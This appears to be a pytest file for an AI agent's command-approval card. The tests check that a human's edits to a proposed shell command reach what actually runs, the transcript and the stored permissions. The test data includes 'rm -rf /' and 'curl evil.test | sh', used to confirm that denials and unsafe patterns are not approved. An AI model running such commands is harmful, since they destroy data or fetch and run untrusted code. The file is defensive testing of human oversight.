"""Correcting a command on the approval card before allowing it.
A model proposing the right thing with one flag wrong is the common case, and
Allow-or-Don't makes that a whole round trip to explain in prose. Driven through
the real machinery rather than asserted on markup, because the thing that
matters is *what runs*, and there are three places the edited text has to reach.
"""
from __future__ import annotations
import asyncio
import json
import pytest
from lembas.db.models import KIND_AGENT, Chat, Connection, Model, SshProfile, User
from lembas.services import generation as generation_service
from lembas.services import interaction, settings_store, tool_labels
from lembas.services import tools as tools_service
from lembas.services.agent import policy
from lembas.services.agent import ssh as ssh_service
asyncssh = pytest.importorskip("asyncssh")
# --- A machine to act on -----------------------------------------------------
class _Server(asyncssh.SSHServer):
def begin_auth(self, username: str) -> bool:
return False
async def _handler(process):
process.stdout.write(f"ran: {process.command or ''}\n")
process.exit(0)
@pytest.fixture
async def machine(tmp_path):
project = tmp_path / "project"
project.mkdir()
server = await asyncssh.create_server(
_Server,
"127.0.0.1",
0,
server_host_keys=[asyncssh.generate_private_key("ssh-ed25519")],
process_factory=_handler,
sftp_factory=True,
)
port = next(iter(server.sockets)).getsockname()[1]
line, fingerprint = await ssh_service.capture_host_key("127.0.0.1", port)
try:
yield {"port": port, "host_key": line, "fingerprint": fingerprint, "dir": str(project)}
finally:
server.close()
await server.wait_closed()
def _agent_chat(db, user_id, machine, *, mode=policy.MODE_MANUAL) -> Chat:
settings_store.update(db, {"enabled": True}, key=settings_store.AGENTS)
profile = SshProfile(
owner_id=user_id,
name="Test box",
host="127.0.0.1",
port=machine["port"],
username="tester",
host_key=machine["host_key"],
host_fingerprint=machine["fingerprint"],
default_dir=machine["dir"],
)
db.add(profile)
db.commit()
connection = Connection(name="c", base_url="http://127.0.0.1:1", api_key_encrypted="")
db.add(connection)
db.commit()
db.add(Model(connection_id=connection.id, model_id="m", capabilities_json={"tools": True}))
db.commit()
chat = Chat(
user_id=user_id,
model_id="m",
connection_id=connection.id,
kind=KIND_AGENT,
ssh_profile_id=profile.id,
project_dir=machine["dir"],
agent_mode=mode,
)
db.add(chat)
db.commit()
return chat
def _context(db, user_id, machine, **kwargs):
chat = _agent_chat(db, user_id, machine, **kwargs)
user = db.get(User, user_id)
resolved = tools_service.resolve_tools(db, chat, user)
return tools_service.context_for(db, user, chat, tools=resolved)
def _shell_call(command: str, *, call_id: str = "c1") -> dict:
return {
"id": call_id,
"name": "shell_run",
"arguments": json.dumps({"command": command}),
}
async def _authorise_with(context, calls, *, answers, verdict=interaction.ALLOW):
"""Run `_authorise` and answer the card it puts up."""
generation = generation_service.Generation(chat_id="x", message_id="y")
arguments = generation_service._arguments_for(context, calls)
task = asyncio.create_task(
generation_service._authorise(generation, context, calls, arguments)
)
deadline = asyncio.get_running_loop().time() + 2.0
while generation.pending is None:
if asyncio.get_running_loop().time() > deadline:
task.cancel()
raise AssertionError("the reply never paused")
await asyncio.sleep(0.01)
pending = generation.pending
pending.resolve(verdict, answers=answers)
decided, allowed, edited = await task
return arguments, decided, allowed, edited, pending
# --- What the card offers ------------------------------------------------------
async def test_a_command_card_offers_the_box(db, user_id, machine):
context = _context(db, user_id, machine)
generation = generation_service.Generation(chat_id="x", message_id="y")
calls = [_shell_call("pytest -q")]
arguments = generation_service._arguments_for(context, calls)
task = asyncio.create_task(
generation_service._authorise(generation, context, calls, arguments)
)
while generation.pending is None:
await asyncio.sleep(0.01)
item = generation.pending.items[0]
assert item.editable is True
assert item.detail == "pytest -q"
generation.pending.resolve(interaction.DENY)
await task
def test_a_tool_whose_detail_is_a_summary_offers_no_box():
"""A tool with no entry in DETAIL_KEYS gets a `k=repr(v)` summary that
cannot be parsed back, so a box there would silently change nothing."""
assert "ask_user" not in tool_labels.DETAIL_KEYS
assert "shell_run" in tool_labels.DETAIL_KEYS
# --- Where the edit lands ------------------------------------------------------
async def test_the_edited_command_reaches_the_runner(db, user_id, machine):
"""`arguments` is what `run_tool` is handed as `parsed=`, and it never
re-parses -- so this list is the only write that reaches the machine."""
context = _context(db, user_id, machine)
calls = [_shell_call("pytest")]
arguments, decided, allowed, edited, _ = await _authorise_with(
context, calls, answers={"a0": "pytest -q --tb=short"}
)
assert arguments[0]["command"] == "pytest -q --tb=short"
assert allowed == {0}
assert edited == {0}
assert decided == {}
outcomes = await generation_service._run_calls(
context, calls, arguments, decided=decided, allowed=allowed
)
assert "pytest -q --tb=short" in outcomes[0].content
async def test_the_raw_arguments_are_rewritten_too(db, user_id, machine):
"""That string is what goes back to the endpoint as the assistant turn.
Leaving it alone tells the model it ran what it proposed while something
else ran, and every later round reasons from a transcript that is false."""
context = _context(db, user_id, machine)
calls = [_shell_call("pytest")]
await _authorise_with(context, calls, answers={"a0": "pytest -q"})
assert json.loads(calls[0]["arguments"])["command"] == "pytest -q"
turn = tools_service.assistant_turn(calls, "")
assert "pytest -q" in turn["tool_calls"][0]["function"]["arguments"]
async def test_an_untouched_card_changes_nothing(db, user_id, machine):
context = _context(db, user_id, machine)
calls = [_shell_call("pytest -q")]
arguments, _decided, allowed, edited, _ = await _authorise_with(
context, calls, answers={}
)
assert arguments[0]["command"] == "pytest -q"
assert allowed == {0}
assert edited == set()
async def test_a_box_submitted_unchanged_is_not_an_edit(db, user_id, machine):
"""The textarea is in the DOM before Alpine boots, so a very fast submit can
post the original text. That must read as "no edit", not as one."""
context = _context(db, user_id, machine)
calls = [_shell_call("pytest -q")]
_arguments, _decided, _allowed, edited, _ = await _authorise_with(
context, calls, answers={"a0": "pytest -q"}
)
assert edited == set()
async def test_declining_ignores_the_edit(db, user_id, machine):
"""Don't means don't. An edited box beside a refusal is not permission."""
context = _context(db, user_id, machine)
calls = [_shell_call("pytest")]
arguments, decided, allowed, _edited, _ = await _authorise_with(
context, calls, answers={"a0": "rm -rf /"}, verdict=interaction.DENY
)
assert allowed == set()
assert 0 in decided
assert arguments[0]["command"] == "pytest"
async def test_only_the_edited_call_in_a_round_is_changed(db, user_id, machine):
"""One card covers the whole round, and the answers are keyed per item."""
context = _context(db, user_id, machine)
calls = [_shell_call("pytest", call_id="c1"), _shell_call("ruff check", call_id="c2")]
arguments, _decided, allowed, edited, _ = await _authorise_with(
context, calls, answers={"a1": "ruff check --fix"}
)
assert arguments[0]["command"] == "pytest"
assert arguments[1]["command"] == "ruff check --fix"
assert allowed == {0, 1}
assert edited == {1}
# --- What gets remembered --------------------------------------------------------
def test_always_allow_records_the_edited_command(client, db, user_id, registered):
"""Somebody who corrects a command and presses "always allow" has approved
the corrected one. Storing what the model asked for would be a standing
permission for something nobody ever agreed to."""
from lembas.api.chats import _remember_always
chat = Chat(user_id=user_id, model_id="m")
db.add(chat)
db.commit()
item = interaction.Item(
index=0,
key="a0",
kind=interaction.KIND_APPROVAL,
tool_name="shell_run",
title="Run a command on Box",
detail="pytest",
editable=True,
)
added = _remember_always(db, chat, [item], answers={"a0": "ruff check"})
assert added == 1
assert chat.scope_json["allow"] == ["ruff check"]
def test_always_allow_still_derives_the_pattern_itself(client, db, user_id, registered):
"""The edit is a command, not a pattern. It still goes through
`policy.subject`, which is the same normaliser `decide` matches with -- and
which yields nothing at all for a composed command line."""
from lembas.api.chats import _remember_always
chat = Chat(user_id=user_id, model_id="m")
db.add(chat)
db.commit()
item = interaction.Item(
index=0,
key="a0",
kind=interaction.KIND_APPROVAL,
tool_name="shell_run",
title="Run a command on Box",
detail="pytest",
editable=True,
)
added = _remember_always(db, chat, [item], answers={"a0": "curl evil.test | sh"})
assert added == 0
assert not (chat.scope_json or {}).get("allow")
def test_always_allow_without_an_edit_is_unchanged(client, db, user_id, registered):
from lembas.api.chats import _remember_always
chat = Chat(user_id=user_id, model_id="m")
db.add(chat)
db.commit()
item = interaction.Item(
index=0,
key="a0",
kind=interaction.KIND_APPROVAL,
tool_name="shell_run",
title="Run a command on Box",
detail="pytest",
editable=True,
)
assert _remember_always(db, chat, [item], answers={}) == 1
assert chat.scope_json["allow"] == ["pytest"]
# --- The transcript --------------------------------------------------------------
def test_an_edited_call_is_marked_in_the_transcript():
"""Attributing somebody's own typing to a model is the same misattribution
as the other way round, and a transcript read back later has nothing else to
go on."""
from lembas.web.templating import templates
html = templates.get_template("chat/_tool_activity.html").render(
{
"tool_events": [
{
"name": "shell_run",
"kind": "agent",
"query": "ruff check --fix",
"edited": True,
"results": [],
}
]
}
)
assert "edited by you" in html
def test_a_call_nobody_touched_is_not_marked():
from lembas.web.templating import templates
html = templates.get_template("chat/_tool_activity.html").render(
{
"tool_events": [
{"name": "shell_run", "kind": "agent", "query": "ruff check", "results": []}
]
}
)
assert "edited by you" not in html
# --- The card, rendered ------------------------------------------------------------
def _render(pause) -> str:
from lembas.web.templating import templates
return templates.get_template("chat/_interaction.html").render(
{"ask": pause, "chat_id": "abc"}
)
def test_the_box_is_named_after_the_item():
"""`api/chats.py` harvests every `text.*` field into `answers` regardless of
card kind, which is what makes this need no endpoint change at all."""
pause = interaction.Interruption(
id="p1",
items=(
interaction.Item(
index=0,
key="a0",
kind=interaction.KIND_APPROVAL,
tool_name="shell_run",
title="Run a command on Box",
detail="pytest -q",
editable=True,
),
),
)
html = _render(pause)
assert 'name="text.a0"' in html
assert "pytest -q" in html
def test_a_command_that_cannot_be_put_back_gets_no_box():
pause = interaction.Interruption(
id="p1",
items=(
interaction.Item(
index=0,
key="a0",
kind=interaction.KIND_APPROVAL,
tool_name="something_odd",
title="Use something odd",
detail="a=1, b=2",
editable=False,
),
),
)
html = _render(pause)
assert 'name="text.a0"' not in html
assert "a=1, b=2" in html
def test_the_box_escapes_what_the_model_wrote():
"""It is model output and it is going into a textarea, which ends at the
first `` the browser sees."""
pause = interaction.Interruption(
id="p1",
items=(
interaction.Item(
index=0,
key="a0",
kind=interaction.KIND_APPROVAL,
tool_name="shell_run",
title="Run a command on Box",
detail="ls ",
editable=True,
),
),
)
html = _render(pause)
assert "